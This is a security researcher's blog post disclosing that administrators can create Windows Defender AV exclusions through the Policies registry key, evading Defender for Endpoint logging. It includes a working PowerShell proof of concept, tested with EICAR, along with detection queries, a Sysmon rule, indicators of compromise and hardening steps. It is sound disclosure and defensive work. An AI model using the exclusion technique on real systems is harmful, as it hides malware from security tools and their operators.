Inhalt

Create persistent Defender AV exclusions and circumvent Defender for Endpoint detection

A user with administrative permissions is able to create Defender AV exclusions without using the Add-MPPrefence cmdlet. Because of the way the exclusion is created, most public guidelines and hunting queries on detecting this kind of change won’t detect it.

Even more troubling is the fact that Microsoft Defender for Endpoint will not log any of those changes made. Therefore it’s not easy to detect and could go undetected for security personnel which relies on those queries and products.

And before you dismiss this because it needs administrative permission, these days it’s quite easy to get SYSTEM. Just install a printer. 😉

Affected products

Operating systems

As far as I can tell this method works on all current Windows operating systems. Due to time constrains I only tested the latest versions.

  • Windows Server 2019
  • Windows 10 Enterprise 21H1 19043.1083
  • Windows 11 Enterprise Build 22000.65

Defender AV

AMEngineVersion                 1.1.18300.4
AMProductVersion               4.18.2106.6
AMServiceVersion               4.18.2106.6
AntispywareSignatureVersion     1.343.943.0
AntivirusSignatureVersion       1.343.943.0
NISEngineVersion               1.1.18300.4
NISSignatureVersion             1.343.943.0

Defender AV exclusions

Let’s start with how Microsoft Defender AV stores it’s configuration for exclusions. This configuration is, depending on the configuration entity, at multiple places in the registry.

The first and most often used location is HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths. This registry key is protected by the kernel-mode driver (wdfilter.sys) and even the SYSTEM user is not able to create a new value in this key. Any attempt to create a new value is blocked.

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\TESTEicar\" -Value 0 -PropertyType String -Force
Warnung
PermissionDenied: (HKEY_LOCAL_MACH…xclusions\Paths:String) [New-ItemProperty], UnauthorizedAccessException

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/RegChangeAsSystem.png

The only way to create an exception here, is using the Defender AV GUI or the Defender AV PowerShell module Add-MPPrefence.

Those changes are detected and reported by most EDR solutions.

Legacy systems and SCEP

If your environment still runs so called “legacy” OS versions, that do not have Defender AV built-in, you have to watch different registry keys. Legacy operating system are everything below Windows Server 2016.

That is because the System Center Endpoint Protection (SCEP) AV Client installed on those OS versions stores it’s configuration under:

HKLM:\SOFTWARE\Microsoft\Microsoft Antimalware

Circumvent wdfilter.sys protections

To bypass the security measures protecting HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths it is not needed to start an sophisticated attack. Just use the second, mostly ignored configuration location for exclusions.

HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths

Any user with administrator permissions can create a new value in this registry key, which is normally used for exclusions defined in group policies. But, as I will show in the POC, it is not enough to just create a new value here.

Proof of concept

To reproduce this behavior create a folder and add this folder as an exclusion to the Policies registry key. The script will check if the necessary registry keys are present and if not will create them for you.

$Path = "C:\TESTEicar\"
New-Item -Type Directory -Path $Path

Get-MpPreference | Select -ExpandProperty ExclusionPath
if ( ( Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" )-eq $false ) {
    New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\" -Name 'Paths' -Force
}
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name $Path -Value 0 -PropertyType String -Force
Get-MpPreference | Select -ExpandProperty ExclusionPath

The Get-MpPreference will show the new exclusion, but if you would deploy your payload right now, it still would be detected. The exclusion is not yet “activated”.

To activate the exclusion the group policy client has to process it. Depending on the system configuration the attacker would have to chose one of the following ways to archive that.

If there is already a local group policy present or the computer is domain joined, then a gpupdate /force is sufficient to apply the new exclusions.

Tip
I do not use Invoke-GPUpdate because it is not present by default, and installing additional components would be more noise than necessary. Since gpupdate.exe is present on every Windows OS let’s just use it instead.

If there is no local group policy applied and the computer is not domain joined than a reboot is needed to activate the exclusion. Since this would be very obvious to the enduser an alternative would be to create an empty local group policy and then update the group policy. In this POC I go the easy route and just reboot the computer.

if ( (Test-Path "C:\Windows\System32\GroupPolicy\Machine\Registry.pol") -or (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain ) {
    gpupdate /force
} else {
    Restart-Computer -Force
}
Notiz
Even if the GPO setting Configure local administrator merge behavior for lists is disabled, the added registry value is not deleted. This has to do with the fact, that one client can apply multiple group policies and the exclusions in those group policies are all applied.

Now to test the exclusion, create a file containing the EICAR test string. After the file is created scan the directory and read the content to verify that the exclusion is working as expected.

$Path = "C:\TESTEicar\"
cd $Path
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicartest.file

Start-MpScan -ScanType CustomScan -ScanPath C:\TESTEicar\
Get-Content .\eicartest.file

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/EICAR.png

As you can see in the screenshot, the new exclusion is working and the EICAR file is not detected.

Bonus
The registry value HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Exclusions_Paths does not have to be created.

Cleanup

$Path = "C:\TESTEicar\"
rm "$Path\eicartest.file"
rm $Path
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name $Path
gpupdate /force

Behavior by design

I contacted the Microsoft Security Response Center about this behavior and after doing a repro of the reported issue they came to the following conclusion

MSRC
Our engineers have investigated the behavior you reported and determined that this behavior is by design. We are reviewing this design for improvements in a future version, but as of now the issue you report would not meet the bar for a security update.

Detection

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/defender-edr.jpg

Missing detection in Microsoft Defender for Endpoint

Info

Since the release of this blog post I have been in contact with MSFT and they added detection of those changes to MDE.

Since this is expected behavior from the svchost.exe process there is no auto alarm setting and you will have to create your own detection rule for unwanted changes to those registry keys.

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/MDEPolicyExclusions.png

Since this behavior is by design and a won’t fix at the moment, your favorite EDR solution should still report any changes made to Defender AV exclusions.

But all those changes are completely hidden from Microsoft Defender for Endpoint. While any changes made in key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions are reported as suspicious and through advanced hunting and custom detection rules you can even isolate any device if this behavior is monitored, you will not find any changes made to the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions in the advanced hunting data.

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/MDE-Alert.png

Therefore your security personnel cannot detect this change and is unable to response to the threat.

DeviceRegistryEvents 
| where RegistryKey startswith "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions"

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/MDEAdvancedHunting.png

When looking a more closely Microsoft has only included two registry keys and four values in their monitoring

  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableRealtimeMonitoring
    • DisableIOAVProtection
    • DisableBehaviorMonitoring
DeviceRegistryEvents 
| where RegistryKey startswith "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender"
| project ActionType, RegistryKey = tolower(RegistryKey), RegistryValueName
| distinct ActionType, RegistryKey, RegistryValueName

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/MDEAdvancedHunting-2.png

Sysmon

I also tried the awesome sysmon configuration file courtesy by SwiftOnSecurity. Right from the start it would not detect the created new registry keys.

With very little modification I was able to include the registry keys.

668
669
670
671
672
673
674
<!--Antivirus tampering-->
<TargetObject name="T1089,Tamper-Defender" condition="end with">\DisableAntiSpyware</TargetObject> <!--Windows:Defender: State modified via registry-->
<TargetObject name="T1089,Tamper-Defender" condition="end with">\DisableAntiVirus</TargetObject> <!--Windows:Defender: State modified via registry-->
<TargetObject name="T1089,Tamper-Defender" condition="end with">\SpynetReporting</TargetObject> <!--Windows:Defender: State modified via registry-->
<TargetObject name="T1089,Tamper-Defender" condition="end with">DisableRealtimeMonitoring</TargetObject> <!--Windows:Defender: State modified via registry-->
<TargetObject name="T1089,Tamper-Defender" condition="end with">\SubmitSamplesConsent</TargetObject> <!--Windows:Defender: State modified via registry-->
<TargetObject name="T1562,Tamper-Defender" condition="begin with">HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\</TargetObject> <!--Windows:Defender: Exclusions in policy key-->

While normal GPO based exclusions are made by svchost.exe

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/ProcMon-gpupdate.png /create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/SysMon-gpupdate.png

…the bad one in the POC was created by powershell.exe

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/ProcMon-PowerShell.png /create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/SysMon-PowerShell.png

It would be possible to exclude the changes made by svchost.exe, but this data is valuable as well. This would make it possible to spot rough GPO based attacks in the future.

Indicators of compromise

As I demonstrated, in addition to the default keys monitored, every change to the following registry keys can be a problem.

  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Path
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\IpAddresses
  • HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Path (SCEP)
  • HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Processes (SCEP)
  • HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Extensions (SCEP)

Best would be to monitor every registry change under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\ and HKLM:\SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\ (SCEP) that is not made by svchost.exe.

Another way to check for unwanted changes is the Defender cmdlet Get-MpPreference or the GUI. But this is not a feasible way to monitor this on scale.

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

Hardening

Luckily it is easy to make the live for the attacker a bit harder.

Apply local group policy that disables all exclusions and set Configure local administrator merge behavior for lists via domain GPO to disabled.

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/Hardening-LocalPolicy.png

This results in a Registry.pol file that actively deletes all manually created registry values when the local policy is applied. Since this process is needed to activate the bad exclusions as well it’s a great way to clean up.

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/Hardening-LocalPolicyFile.png

In an Active Directory environment with centrally managed group policies, exceptions defined in the domain group policies are still applied, but the additional locally created registry value is deleted.

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/HardeningSuccess.png

Tip
Optimally you would disable AV exceptions for all clients completely.

To deploy this change on scale, you could leverage LGPO which is part of the Microsoft Security Compliance Toolkit and include it in your deployment pipeline or MDM solution. This hardening configuration should be applied to servers as well as clients.

You can download this prepared LGPO text file DisableExclusions.txt and use it to import the correct settings. I will not distribute a pre compiled POL file.

# Create POL file
.\LGPO.exe /r .\DisableExclusions.txt /w reg.pol
# Import POL file to local machine configuration
.\LGPO.exe /m reg.pol

/create-persistent-defender-av-exclusions-circumvent-defender-endpoint-detection/images/lgpo.png

Since the attacker could change the local group policy settings as well, it is a weak protection, but still makes the attack a bit more noisy and takes more effort.

Test cases

Here you can see the different test cases I did in validating the behavior.

Domain Joined Test description                     Result   
No Create exclusion reg key, write EICAR  Detected 
No Create exclusion reg key, gpupdate /force,  write EICAR  Detected 
No Create exclusion reg key, restart computer, write EICAR  Not detected 
No Create local policy, Create exclusion reg key, gpupdate /force,  write EICAR  Not detected 
No Local policy present, create exclusion reg key, gpupdate /force,  write EICAR  Not detected 
No Exclusion disabled in local group policy, create reg key, gpupdate /force, write EICAR Detected 
Yes Create exclusion reg key, write EICAR  Detected 
Yes Create exclusion reg key, gpupdate /force,  write EICAR  Not detected 
Yes Exclusion disabled in local group policy, create reg key, gpupdate /force, write EICAR Detected 

Acknowledgements

Thanks to Chris Brumm for validating the behavior and for mentioning the missing detection in Microsoft Defender for Endpoint. Without him I would not have tested if it’s possible to create and activate those exclusions. Check out his Blog especially the post on Defender AV exclusions.